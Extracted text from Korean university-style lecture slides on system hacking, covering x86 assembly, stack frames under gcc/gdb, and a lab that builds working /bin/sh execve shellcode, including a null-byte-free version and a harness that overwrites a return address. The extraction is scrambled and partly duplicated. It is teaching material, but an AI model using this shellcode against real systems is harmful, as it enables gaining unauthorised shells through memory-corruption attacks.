pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 47: 80×86  시스템에 대한 이해

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

